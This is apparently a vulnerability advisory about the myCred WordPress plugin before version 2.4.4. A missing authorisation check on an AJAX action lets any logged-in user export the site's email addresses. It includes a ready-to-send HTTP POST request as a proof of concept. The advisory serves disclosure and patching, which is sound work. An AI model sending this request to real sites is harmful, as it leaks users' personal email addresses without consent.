WordPress Plugin Vulnerabilities

myCred < 2.4.4 - Subscriber+ Import/Export to Email Address Disclosure

Description

The plugin does not have authorisation and CSRF checks in its mycred-tools-import-export AJAX action, allowing any authenticated user to call and and retrieve the list of email address present in the blog

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 130
Cookie: [any authenticated user]

action=mycred-tools-import-export&request_tab=points&request=export&template=raw&user_field=email&types=%5B%22mycred_default%22%5D

Affects Plugins

Fixed in 2.4.4

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
David Hamann
Submitter
David Hamann
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-03-29 (about 2 years ago)
Added
2022-03-29 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other